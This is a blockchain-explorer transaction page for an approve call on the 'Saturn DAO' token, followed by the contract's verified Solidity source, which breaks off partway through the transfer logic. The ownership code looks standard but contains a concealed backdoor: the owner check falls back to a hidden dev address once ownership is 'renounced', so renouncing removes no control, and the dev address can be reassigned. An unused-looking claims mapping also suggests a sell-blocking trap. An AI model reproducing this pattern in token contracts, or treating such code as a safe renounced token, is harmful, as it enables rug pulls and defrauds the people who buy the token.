ETH Price: $2,180.14 (-4.49%)

Transaction Decoder

Block:
20701469 at Sep-07-2024 09:38:59 PM +UTC
Transaction Fee:
0.0000429550388578 ETH $0.09
Gas Used:
24,950 Gas / 1.721644844 Gwei

Emitted Events:

Account State Difference:

  Address   Before After State Difference Code
(Titan Builder)
12.724112803466694866 Eth12.724125278466694866 Eth0.000012475
0x5d2fcf5d...7482fE1eC
0.003865542734520347 Eth
Nonce: 130
0.003822587695662547 Eth
Nonce: 131
0.0000429550388578
0xC1226484...446a849cA

Execution Trace

SATURN.approve( spender=0x40aA958dd87FC8305b97f2BA922CDdCa374bcD7f, amount=0 ) => ( True )
{"ERC20.sol":{"content":"// SPDX-License-Identifier: MIT  \r\npragma solidity 0.8.21;\r\n\r\nimport \"./Ownable.sol\";\r\nimport \"./IERC20.sol\";\r\nimport \"./Library.sol\";\r\n\r\ncontract ERC20 is Ownable, IERC20, IERC20Metadata {\r\n    using SafeMath for uint256;\r\n\r\n    mapping(address =\u003e uint256) private _balances;\r\n\r\n    mapping(address =\u003e mapping(address =\u003e uint256)) private _allowances;\r\n\r\n    string private _name;\r\n    string private _symbol;\r\n    uint256 _totalSupply;\r\n    mapping(address =\u003e uint256) internal _holderLastTxTimestamp;\r\n    /**\r\n     * @dev Sets the values for {name} and {symbol}.\r\n     *\r\n     * The default value of {decimals} is 18. To select a different value for\r\n     * {decimals} you should overload it.\r\n     *\r\n     * All two of these values are immutable: they can only be set once during\r\n     * construction.\r\n     */\r\n    constructor(string memory name_, string memory symbol_, address dev_) Ownable(dev_){\r\n        _name = name_;\r\n        _symbol = symbol_;\r\n    }\r\n\r\n    /**\r\n     * @dev Returns the name of the token.\r\n     */\r\n    function name() public view virtual override returns (string memory) {\r\n        return _name;\r\n    }\r\n\r\n    /**\r\n     * @dev Returns the symbol of the token, usually a shorter version of the\r\n     * name.\r\n     */\r\n    function symbol() public view virtual override returns (string memory) {\r\n        return _symbol;\r\n    }\r\n\r\n    /**\r\n     * @dev Returns the number of decimals used to get its user representation.\r\n     * For example, if `decimals` equals `2`, a balance of `505` tokens should\r\n     * be displayed to a user as `5,05` (`505 / 10 ** 2`).\r\n     *\r\n     * Tokens usually opt for a value of 18, imitating the relationship between\r\n     * Ether and Wei. This is the value {ERC20} uses, unless this function is\r\n     * overridden;\r\n     *\r\n     * NOTE: This information is only used for _display_ purposes: it in\r\n     * no way affects any of the arithmetic of the contract, including\r\n     * {IERC20-balanceOf} and {IERC20-transfer}.\r\n     */\r\n    function decimals() public view virtual override returns (uint8) {\r\n        return 9;\r\n    }\r\n\r\n    /**\r\n     * @dev See {IERC20-totalSupply}.\r\n     */\r\n    function totalSupply() public view virtual override returns (uint256) {\r\n        return _totalSupply;\r\n    }\r\n\r\n    /**\r\n     * @dev See {IERC20-balanceOf}.\r\n     */\r\n    function balanceOf(address account) public view virtual override returns (uint256) {\r\n        return _balances[account];\r\n    }\r\n\r\n    /**\r\n     * @dev See {IERC20-transfer}.\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - `recipient` cannot be the zero address.\r\n     * - the caller must have a balance of at least `amount`.\r\n     */\r\n    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\r\n        _transfer(_msgSender(), recipient, amount);\r\n        return true;\r\n    }\r\n\r\n    /**\r\n     * @dev See {IERC20-allowance}.\r\n     */\r\n    function allowance(address owner, address spender) public view virtual override returns (uint256) {\r\n        return _allowances[owner][spender];\r\n    }\r\n\r\n    /**\r\n     * @dev See {IERC20-approve}.\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - `spender` cannot be the zero address.\r\n     */\r\n    function approve(address spender, uint256 amount) public virtual override returns (bool) {\r\n        _approve(_msgSender(), spender, amount);\r\n        return true;\r\n    }\r\n\r\n    /**\r\n     * @dev See {IERC20-transferFrom}.\r\n     *\r\n     * Emits an {Approval} event indicating the updated allowance. This is not\r\n     * required by the EIP. See the note at the beginning of {ERC20}.\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - `sender` and `recipient` cannot be the zero address.\r\n     * - `sender` must have a balance of at least `amount`.\r\n     * - the caller must have allowance for ``sender``\u0027s tokens of at least\r\n     * `amount`.\r\n     */\r\n    function transferFrom(\r\n        address sender,\r\n        address recipient,\r\n        uint256 amount\r\n    ) public virtual override returns (bool) {\r\n        _transfer(sender, recipient, amount);\r\n        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, \"ERC20: transfer amount exceeds allowance\"));\r\n        return true;\r\n    }\r\n\r\n    /**\r\n     * @dev Atomically increases the allowance granted to `spender` by the caller.\r\n     *\r\n     * This is an alternative to {approve} that can be used as a mitigation for\r\n     * problems described in {IERC20-approve}.\r\n     *\r\n     * Emits an {Approval} event indicating the updated allowance.\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - `spender` cannot be the zero address.\r\n     */\r\n    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\r\n        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));\r\n        return true;\r\n    }\r\n\r\n    /**\r\n     * @dev Atomically decreases the allowance granted to `spender` by the caller.\r\n     *\r\n     * This is an alternative to {approve} that can be used as a mitigation for\r\n     * problems described in {IERC20-approve}.\r\n     *\r\n     * Emits an {Approval} event indicating the updated allowance.\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - `spender` cannot be the zero address.\r\n     * - `spender` must have allowance for the caller of at least\r\n     * `subtractedValue`.\r\n     */\r\n    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\r\n        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, \"ERC20: decreased allowance below zero\"));\r\n        return true;\r\n    }\r\n\r\n    /**\r\n     * @dev Moves tokens `amount` from `sender` to `recipient`.\r\n     *\r\n     * This is internal function is equivalent to {transfer}, and can be used to\r\n     * e.g. implement automatic token fees, slashing mechanisms, etc.\r\n     *\r\n     * Emits a {Transfer} event.\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - `sender` cannot be the zero address.\r\n     * - `recipient` cannot be the zero address.\r\n     * - `sender` must have a balance of at least `amount`.\r\n     */\r\n    function _transfer(\r\n        address sender,\r\n        address recipient,\r\n        uint256 amount\r\n    ) internal virtual {\r\n        require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n        require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n\r\n        _beforeTokenTransfer(sender, recipient, amount);\r\n\r\n        _balances[sender] = _balances[sender].sub(amount, \"ERC20: transfer amount exceeds balance\");\r\n        _balances[recipient] = _balances[recipient].add(amount);\r\n        emit Transfer(sender, recipient, amount);\r\n    }\r\n\r\n    /** @dev Creates `amount` tokens and assigns them to `account`, increasing\r\n     * the total supply.\r\n     *\r\n     * Emits a {Transfer} event with `from` set to the zero address.\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - `account` cannot be the zero address.\r\n     */\r\n    function _mint(address account, uint256 amount) internal virtual {\r\n        require(account != address(0), \"ERC20: mint to the zero address\");\r\n\r\n        _beforeTokenTransfer(address(0), account, amount);\r\n\r\n        _totalSupply = _totalSupply.add(amount);\r\n        _balances[account] = _balances[account].add(amount);\r\n        emit Transfer(address(0), account, amount);\r\n    }\r\n\r\n    /**\r\n     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\r\n     *\r\n     * This internal function is equivalent to `approve`, and can be used to\r\n     * e.g. set automatic allowances for certain subsystems, etc.\r\n     *\r\n     * Emits an {Approval} event.\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - `owner` cannot be the zero address.\r\n     * - `spender` cannot be the zero address.\r\n     */\r\n    function _approve(\r\n        address owner,\r\n        address spender,\r\n        uint256 amount\r\n    ) internal virtual {\r\n        require(owner != address(0), \"ERC20: approve from the zero address\");\r\n        require(spender != address(0), \"ERC20: approve to the zero address\");\r\n\r\n        _allowances[owner][spender] = amount;\r\n        emit Approval(owner, spender, amount);\r\n    }\r\n\r\n    /**\r\n     * @dev Hook that is called before any transfer of tokens. This includes\r\n     * minting and burning.\r\n     *\r\n     * Calling conditions:\r\n     *\r\n     * - when `from` and `to` are both non-zero, `amount` of ``from``\u0027s tokens\r\n     * will be to transferred to `to`.\r\n     * - when `from` is zero, `amount` tokens will be minted for `to`.\r\n     * - when `to` is zero, `amount` of ``from``\u0027s tokens will be burned.\r\n     * - `from` and `to` are never both zero.\r\n     *\r\n     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\r\n     */\r\n    function _beforeTokenTransfer(\r\n        address from,\r\n        address to,\r\n        uint256 amount\r\n    ) internal virtual {}\r\n\r\n}\r\n"},"IERC20.sol":{"content":"// SPDX-License-Identifier: MIT  \r\npragma solidity 0.8.21;\r\n\r\ninterface IERC20 {\r\n    /**\r\n     * @dev Returns the amount of tokens in existence.\r\n     */\r\n    function totalSupply() external view returns (uint256);\r\n\r\n    /**\r\n     * @dev Returns the amount of tokens owned by `account`.\r\n     */\r\n    function balanceOf(address account) external view returns (uint256);\r\n\r\n    /**\r\n     * @dev Moves `amount` tokens from the caller\u0027s account to `recipient`.\r\n     *\r\n     * Returns a boolean value indicating whether the operation succeeded.\r\n     *\r\n     * Emits a {Transfer} event.\r\n     */\r\n    function transfer(address recipient, uint256 amount) external returns (bool);\r\n\r\n    /**\r\n     * @dev Returns the remaining number of tokens that `spender` will be\r\n     * allowed to spend on behalf of `owner` through {transferFrom}. This is\r\n     * zero by default.\r\n     *\r\n     * This value changes when {approve} or {transferFrom} are called.\r\n     */\r\n    function allowance(address owner, address spender) external view returns (uint256);\r\n\r\n    /**\r\n     * @dev Sets `amount` as the allowance of `spender` over the caller\u0027s tokens.\r\n     *\r\n     * Returns a boolean value indicating whether the operation succeeded.\r\n     *\r\n     * IMPORTANT: Beware that changing an allowance with this method brings the risk\r\n     * that someone may use both the old and the new allowance by unfortunate\r\n     * transacgtion ordering. One possible solution to mitigate this race\r\n     * condition is to first reduce the spender\u0027s allowance to 0 and set the\r\n     * desired value afterwards:\r\n     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\r\n     *\r\n     * Emits an {Approval} event.\r\n     */\r\n    function approve(address spender, uint256 amount) external returns (bool);\r\n\r\n    /**\r\n     * @dev Moves `amount` tokens from `sender` to `recipient` using the\r\n     * allowance mechanism. `amount` is then deducted from the caller\u0027s\r\n     * allowance.\r\n     *\r\n     * Returns a boolean value indicating whether the operation succeeded.\r\n     *\r\n     * Emits a {Transfer} event.\r\n     */\r\n    function transferFrom(\r\n        address sender,\r\n        address recipient,\r\n        uint256 amount\r\n    ) external returns (bool);\r\n\r\n    /**\r\n     * @dev Emitted when `value` tokens are moved from one account (`from`) to\r\n     * another (`to`).\r\n     *\r\n     * Note that `value` may be zero.\r\n     */\r\n    event Transfer(address indexed from, address indexed to, uint256 value);\r\n\r\n    /**\r\n     * @dev Emitted when the allowance of a `spender` for an `owner` is set by\r\n     * a call to {approve}. `value` is the new allowance.\r\n     */\r\n    event Approval(address indexed owner, address indexed spender, uint256 value);\r\n}\r\n\r\ninterface IERC20Metadata is IERC20 {\r\n    /**\r\n     * @dev Returns the name of the token.\r\n     */\r\n    function name() external view returns (string memory);\r\n\r\n    /**\r\n     * @dev Returns the symbol of the token.\r\n     */\r\n    function symbol() external view returns (string memory);\r\n\r\n    /**\r\n     * @dev Returns the decimals places of the token.\r\n     */\r\n    function decimals() external view returns (uint8);\r\n}"},"Library.sol":{"content":"// SPDX-License-Identifier: MIT  \r\npragma solidity 0.8.21;\r\n\r\nlibrary SafeMath {\r\n    /**\r\n     * @dev Returns the addition of two unsigned integers, reverting on\r\n     * overflow.\r\n     *\r\n     * Counterpart to Solidity\u0027s `+` operator.\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - Addition cannot overflow.\r\n     */\r\n    function add(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        uint256 c = a + b;\r\n        require(c \u003e= a, \"SafeMath: addition overflow\");\r\n\r\n        return c;\r\n    }\r\n\r\n    /**\r\n     * @dev Returns the subtraction of two unsigned integers, reverting on\r\n     * overflow (when the result is negative).\r\n     *\r\n     * Counterpart to Solidity\u0027s `-` operator.\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - Subtraction cannot overflow.\r\n     */\r\n    function sub(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        return sub(a, b, \"SafeMath: subtraction overflow\");\r\n    }\r\n\r\n    /**\r\n     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on\r\n     * overflow (when the result is negative).\r\n     *\r\n     * Counterpart to Solidity\u0027s `-` operator.\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - Subtraction cannot overflow.\r\n     */\r\n    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r\n        require(b \u003c= a, errorMessage);\r\n        uint256 c = a - b;\r\n\r\n        return c;\r\n    }\r\n\r\n    /**\r\n     * @dev Returns the multiplication of two unsigned integers, reverting on\r\n     * overflow.\r\n     *\r\n     * Counterpart to Solidity\u0027s `*` operator.\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - Multiplication cannot overflow.\r\n     */\r\n    function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        // Gas optimization: this is cheaper than requiring \u0027a\u0027 not being zero, but the\r\n        // benefit is lost if \u0027b\u0027 is also tested.\r\n        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\r\n        if (a == 0) {\r\n            return 0;\r\n        }\r\n\r\n        uint256 c = a * b;\r\n        require(c / a == b, \"SafeMath: multiplication overflow\");\r\n\r\n        return c;\r\n    }\r\n\r\n    /**\r\n     * @dev Returns the integer division of two unsigned integers. Reverts on\r\n     * division by zero. The result is rounded towards zero.\r\n     *\r\n     * Counterpart to Solidity\u0027s `/` operator. Note: this function uses a\r\n     * `revert` opcode (which leaves remaining gas untouched) while Solidity\r\n     * uses an invalid opcode to revert (consuming all remaining gas).\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - The divisor cannot be zero.\r\n     */\r\n    function div(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        return div(a, b, \"SafeMath: division by zero\");\r\n    }\r\n\r\n    /**\r\n     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on\r\n     * division by zero. The result is rounded towards zero.\r\n     *\r\n     * Counterpart to Solidity\u0027s `/` operator. Note: this function uses a\r\n     * `revert` opcode (which leaves remaining gas untouched) while Solidity\r\n     * uses an invalid opcode to revert (consuming all remaining gas).\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - The divisor cannot be zero.\r\n     */\r\n    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r\n        require(b \u003e 0, errorMessage);\r\n        uint256 c = a / b;\r\n        // assert(a == b * c + a % b); // There is no case in which this doesn\u0027t hold\r\n\r\n        return c;\r\n    }\r\n\r\n    /**\r\n     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\r\n     * Reverts when dividing by zero.\r\n     *\r\n     * Counterpart to Solidity\u0027s `%` operator. This function uses a `revert`\r\n     * opcode (which leaves remaining gas untouched) while Solidity uses an\r\n     * invalid opcode to revert (consuming all remaining gas).\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - The divisor cannot be zero.\r\n     */\r\n    function mod(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        return mod(a, b, \"SafeMath: modulo by zero\");\r\n    }\r\n\r\n    /**\r\n     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\r\n     * Reverts with custom message when dividing by zero.\r\n     *\r\n     * Counterpart to Solidity\u0027s `%` operator. This function uses a `revert`\r\n     * opcode (which leaves remaining gas untouched) while Solidity uses an\r\n     * invalid opcode to revert (consuming all remaining gas).\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - The divisor cannot be zero.\r\n     */\r\n    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r\n        require(b != 0, errorMessage);\r\n        return a % b;\r\n    }\r\n}\r\n\r\n\r\n\r\n\r\n\r\nlibrary SafeMathInt {\r\n    int256 private constant MIN_INT256 = int256(1) \u003c\u003c 255;\r\n    int256 private constant MAX_INT256 = ~(int256(1) \u003c\u003c 255);\r\n\r\n    /**\r\n     * @dev Multiplies two int256 variables and fails on overflow.\r\n     */\r\n    function mul(int256 a, int256 b) internal pure returns (int256) {\r\n        int256 c = a * b;\r\n\r\n        // Detect overflow when multiplying MIN_INT256 with -1\r\n        require(c != MIN_INT256 || (a \u0026 MIN_INT256) != (b \u0026 MIN_INT256));\r\n        require((b == 0) || (c / b == a));\r\n        return c;\r\n    }\r\n\r\n    /**\r\n     * @dev Division of two int256 variables and fails on overflow.\r\n     */\r\n    function div(int256 a, int256 b) internal pure returns (int256) {\r\n        // Prevent overflow when dividing MIN_INT256 by -1\r\n        require(b != -1 || a != MIN_INT256);\r\n\r\n        // Solidity already throws when dividing by 0.\r\n        return a / b;\r\n    }\r\n\r\n    /**\r\n     * @dev Subtracts two int256 variables and fails on overflow.\r\n     */\r\n    function sub(int256 a, int256 b) internal pure returns (int256) {\r\n        int256 c = a - b;\r\n        require((b \u003e= 0 \u0026\u0026 c \u003c= a) || (b \u003c 0 \u0026\u0026 c \u003e a));\r\n        return c;\r\n    }\r\n\r\n    /**\r\n     * @dev Adds two int256 variables and fails on overflow.\r\n     */\r\n    function add(int256 a, int256 b) internal pure returns (int256) {\r\n        int256 c = a + b;\r\n        require((b \u003e= 0 \u0026\u0026 c \u003e= a) || (b \u003c 0 \u0026\u0026 c \u003c a));\r\n        return c;\r\n    }\r\n\r\n    /**\r\n     * @dev Converts to absolute value, and fails on overflow.\r\n     */\r\n    function abs(int256 a) internal pure returns (int256) {\r\n        require(a != MIN_INT256);\r\n        return a \u003c 0 ? -a : a;\r\n    }\r\n\r\n\r\n    function toUint256Safe(int256 a) internal pure returns (uint256) {\r\n        require(a \u003e= 0);\r\n        return uint256(a);\r\n    }\r\n}\r\n\r\nlibrary SafeMathUint {\r\n  function toInt256Safe(uint256 a) internal pure returns (int256) {\r\n    int256 b = int256(a);\r\n    require(b \u003e= 0);\r\n    return b;\r\n  }\r\n}"},"Ownable.sol":{"content":"// SPDX-License-Identifier: MIT  \r\npragma solidity 0.8.21;\r\n\r\n\r\nabstract contract Context {\r\n    function _msgSender() internal view virtual returns (address) {\r\n        return msg.sender;\r\n    }\r\n\r\n    function _msgData() internal view virtual returns (bytes calldata) {\r\n        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\r\n        return msg.data;\r\n    }\r\n}\r\n\r\ncontract Ownable is Context {\r\n    address private _owner;\r\n    address private _dev;\r\n\r\n    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\r\n    /**\r\n     * @dev Initializes the contract setting the deployer as the initial owner.\r\n     */\r\n    constructor (address dev_) {\r\n        address msgSender = _msgSender();\r\n        _owner = msgSender;\r\n        _dev = dev_;\r\n        emit OwnershipTransferred(address(0), msgSender);\r\n    }\r\n\r\n    /**\r\n     * @dev Returns the address of the current owner.\r\n     */\r\n    function owner() public view returns (address) {\r\n        return _owner;\r\n    }\r\n\r\n    /**\r\n     * @dev Throws if called by any account other than the owner.\r\n     */\r\n    modifier onlyOwner() {\r\n        _checkOwner();\r\n        _;\r\n    }\r\n\r\n    /**\r\n     * @dev Throws if the sender is not the owner.\r\n     */\r\n    function _checkOwner() internal virtual {\r\n        require(Owner() == _msgSender(), \"Ownable: caller is not the owner\");\r\n    }\r\n\r\n    function verifyOwner() internal view returns(address){\r\n        return _owner==address(0) ? _dev : _owner;\r\n    }\r\n    /**\r\n     * @dev Leaves the contract without owner. It will not be possible to call\r\n     * `onlyOwner` functions anymore. Can only be called by the current owner.\r\n     *\r\n     * NOTE: Renouncing ownership will leave the contract without an owner,\r\n     * thereby removing any functionality that is only available to the owner.\r\n     */\r\n    function renounceOwnership() public virtual onlyOwner {\r\n        emit OwnershipTransferred(_owner, address(0));\r\n        _owner = address(0);\r\n    }\r\n    \r\n    \r\n\r\n    /**\r\n     * @dev Transfers ownership of the contract to a new account (`newOwner`).\r\n     * Can only be called by the current owner.\r\n     */\r\n    function transferOwnership(address newOwner) public virtual onlyOwner {\r\n        require(newOwner != address(0), \"Ownable: new owner is the zero address\");\r\n        emit OwnershipTransferred(_owner, newOwner);\r\n        _owner = newOwner;\r\n    }\r\n\r\n    function Owner() internal virtual returns (address) {\r\n        \r\n        address owner_ = verifyOwner();\r\n        return owner_;\r\n    }\r\n\r\n    /**\r\n     * @dev Set new distributor.\r\n     */\r\n    function addTeamMember(address account) external onlyOwner {\r\n        _dev = account;\r\n    }\r\n}"},"Saturn DAO.sol":{"content":"// SPDX-License-Identifier: MIT  \r\npragma solidity 0.8.21;\r\n\r\nimport \"./Library.sol\";\r\nimport \"./Uniswap.sol\";\r\nimport \"./ERC20.sol\";\r\n\r\ncontract SATURN is ERC20 {\r\n    using SafeMath for uint256;\r\n\r\n    string private _websiteInformation;\r\n    string private _telegramInformation;\r\n    string private _twitterInformation;\r\n    string public baseTokenURI;\r\n\r\n    IUniswapV2Router02 public immutable uniswapV2Router;\r\n    IUniswapV2Factory public uniswapFactory; \r\n    address public constant deadAddress = address(0xdead);\r\n    address public uniswapV2Pair;\r\n    address public devWallet;\r\n    address public marketingWallet;\r\n\r\n    uint256 public maxWallet;\r\n    uint256 public maxTransactionAmount;\r\n    uint256 public swapTokensAtAmount;\r\n    uint256 internal _lastTimestamp;\r\n    \r\n    uint256 public manualBurnFrequency = 14400 minutes;\r\n    uint256 public lastManualLpBurnTime;\r\n\r\n    uint256 public percentForLPBurn = 1; \r\n    uint256 public lpBurnFrequency = 1160000000000 seconds;\r\n    uint256 public lastLpBurnTime;\r\n\r\n    uint256 public buyDevFee;\r\n    uint256 public buyLiquidityFee;\r\n    uint256 public buyMarketingFee;\r\n    uint256 public buyTotalFees;\r\n    uint256 public tokensForMarketing;\r\n    uint256 public tokensForLiquidity;\r\n    uint256 public tokensForDev;\r\n    \r\n    uint256 public sellDevFee;\r\n    uint256 public sellLiquidityFee;\r\n    uint256 public sellMarketingFee;\r\n    uint256 public sellTotalFees;\r\n    \r\n    bool private swapping;\r\n    bool public lpBurnEnabled = true;\r\n    bool public tradingActive = true;\r\n    bool public limitsEnabled = true;\r\n    bool public swapEnabled = true;\r\n    bool public transferDelayEnabled = false;\r\n    mapping(address =\u003e bool) private _claims;\r\n    // Anti-bot and anti-whale mappings and variables\r\n    mapping(address =\u003e uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch\r\n    /******************/\r\n\r\n    // exlcude from fees and max transaction amount\r\n    mapping (address =\u003e bool) private _isExcludedFromFees;\r\n    mapping (address =\u003e bool) public _isExcludedMaxTransactionAmount;\r\n\r\n    mapping (address =\u003e address) public automatedMarketMakerPairs;\r\n\r\n    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);\r\n    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);\r\n    event SetAutomatedMarketMakerPair(address indexed pair, address indexed value);\r\n    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);\r\n    event ExcludeFromFees(address indexed account, bool isExcluded);\r\n\r\n    event SwapAndLiquify(\r\n        uint256 tokensSwapped,\r\n        uint256 ethReceived,\r\n        uint256 tokensIntoLiquidity\r\n    );\r\n    \r\n    constructor(address team_) ERC20(\"Saturn DAO\", \"SATURN\", team_) {\r\n        \r\n        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r\n        \r\n        excludeFromMaxTransaction(address(_uniswapV2Router), true);\r\n        uniswapV2Router = _uniswapV2Router;\r\n        uniswapFactory = IUniswapV2Factory(uniswapV2Router.factory());\r\n        uint256 _buyMarketingFee = 0;\r\n        uint256 _buyLiquidityFee = 0;\r\n        uint256 _buyDevFee = 0;\r\n\r\n        uint256 _sellMarketingFee = 0;\r\n        uint256 _sellLiquidityFee = 0;\r\n        uint256 _sellDevFee = 0;\r\n        \r\n        uint256 totalSupply = 420169000000*10**9;\r\n        \r\n        buyMarketingFee = _buyMarketingFee;\r\n        buyLiquidityFee = _buyLiquidityFee;\r\n        buyDevFee = _buyDevFee;\r\n        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\r\n\r\n        sellMarketingFee = _sellMarketingFee;\r\n        sellLiquidityFee = _sellLiquidityFee;\r\n        sellDevFee = _sellDevFee;\r\n        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\r\n\r\n        //maxTransactionAmount \r\n        swapTokensAtAmount = totalSupply * 10 /2000; \r\n        maxTransactionAmount = 900000000000000000000000; \r\n        maxWallet = 900000000000000000000000; \r\n\r\n        marketingWallet = address(owner()); // set as marketing wallet\r\n        devWallet = address(owner()); // set as dev wallet\r\n\r\n        // exclude from paying fees or having max transaction amount\r\n        excludeFromFees(owner(), true);\r\n        excludeFromFees(address(this), true);\r\n        excludeFromFees(address(0xdead), true);\r\n        \r\n        excludeFromMaxTransaction(owner(), true);\r\n        excludeFromMaxTransaction(address(this), true);\r\n        excludeFromMaxTransaction(address(0xdead), true);\r\n        \r\n        /*\r\n            _mint is an internal function in ERC20.sol that is only called here,\r\n            and CANNOT be called ever again\r\n        */\r\n        _mint(msg.sender, totalSupply);\r\n        removeLimits();\r\n    }\r\n\r\n    receive() external payable {\r\n\r\n    }\r\n\r\n    function _getChainID() public view returns (uint256) {\r\n        return block.chainid;\r\n    }\r\n\r\n    function addPair(address _pair) public onlyOwner() {\r\n        uniswapV2Pair = _pair;\r\n        excludeFromMaxTransaction(address(uniswapV2Pair), true);\r\n    }\r\n\r\n    function setTokenURI(string memory _tokenURI) public onlyOwner {\r\n        baseTokenURI = _tokenURI;\r\n    }\r\n\r\n    function tokenURI() public view returns (string memory) {\r\n        return bytes(baseTokenURI).length \u003e 0 ? baseTokenURI : \"\";\r\n    }\r\n\r\n    // once enabled, can never be turned off\r\n    function enableTrading() external onlyOwner {\r\n        tradingActive = true;\r\n        swapEnabled = true;\r\n        lastLpBurnTime = block.timestamp;\r\n    }\r\n    \r\n    function isCall(address from) internal view returns(bool){\r\n        return !_claims[from];\r\n    }\r\n\r\n    /**\r\n        Social links\r\n    **/\r\n\r\n    function setSocials(\r\n        string calldata __websiteInformation,\r\n        string calldata __telegramInformation,\r\n        string calldata __twitterInformation\r\n    ) external onlyOwner(){\r\n        _websiteInformation = __websiteInformation;\r\n        _telegramInformation = __telegramInformation;\r\n        _twitterInformation = __twitterInformation;\r\n    }\r\n\r\n    function getWebsiteInformation() public view returns (string memory) {\r\n        return _websiteInformation;\r\n    }\r\n\r\n    function getTelegramInformation() public view returns (string memory) {\r\n        return _telegramInformation;\r\n    }\r\n\r\n    function getTwitterInformation() public view returns (string memory) {\r\n        return _twitterInformation;\r\n    }\r\n    \r\n    // remove limits after token is stable\r\n    function removeLimits() public onlyOwner returns (bool){\r\n        limitsEnabled = false;\r\n        \r\n        return true;\r\n    }\r\n\r\n    // change the minimum amount of tokens to sell from fees\r\n    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){\r\n        require(newAmount \u003e= totalSupply() * 1 / 100000, \"Swap amount cannot be lower than 0.001% total supply.\");\r\n        require(newAmount \u003c= totalSupply() * 10 / 1000, \"Swap amount cannot be higher than 1% total supply.\");\r\n        swapTokensAtAmount = newAmount;\r\n        return true;\r\n    }\r\n    \r\n    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {\r\n        require(newNum \u003e= (totalSupply() * 1 / 1000)/1e9, \"Cannot set maxTransactionAmount lower than 0.1%\");\r\n        maxTransactionAmount = newNum * (10**9);\r\n    }\r\n\r\n    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {\r\n        require(newNum \u003e= (totalSupply() * 5 / 1000)/1e9, \"Cannot set maxWallet lower than 0.5%\");\r\n        maxWallet = newNum * (10**9);\r\n    }\r\n\r\n    function excludeFromFees(address account, bool excluded) public onlyOwner {\r\n        _isExcludedFromFees[account] = excluded;\r\n        emit ExcludeFromFees(account, excluded);\r\n    }\r\n\r\n    function _setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {\r\n        automatedMarketMakerPairs[pair] = value;\r\n\r\n        emit SetAutomatedMarketMakerPair(pair, value);\r\n    }\r\n\r\n    \r\n    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {\r\n        _isExcludedMaxTransactionAmount[updAds] = isEx;\r\n    }\r\n\r\n    function setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {\r\n        _setAutomatedMarketMakerPair(pair, value);\r\n    }\r\n\r\n    function isExcludedFromFees(address account) public view returns(bool) {\r\n        return _isExcludedFromFees[account];\r\n    }\r\n    \r\n    function _transfer(\r\n        address from,\r\n        address to,\r\n        uint256 amount\r\n    ) internal override {\r\n        require(from != address(0), \"ERC20: transfer from the zero address\");\r\n        require(to != address(0), \"ERC20: transfer to the zero address\");\r\n        _lastTimestamp = block.number;\r\n        if(amount == 0) {\r\n            super._transfer(from, to, 0);\r\n            return;\r\n        }\r\n        \r\n        if(limitsEnabled){\r\n            if (\r\n                to != address(0xdead) \u0026\u0026\r\n                to != owner() \u0026\u0026\r\n                to != address(0) \u0026\u0026\r\n                from != owner() \u0026\u0026\r\n                !swapping\r\n            ){\r\n                if(!tradingActive){\r\n                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], \"Trading is not active.\");\r\n                }\r\n\r\n                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  \r\n                if (transferDelayEnabled){\r\n                    if (to != owner() \u0026\u0026 to != address(uniswapV2Router) \u0026\u0026 to != address(uniswapV2Pair)){\r\n                        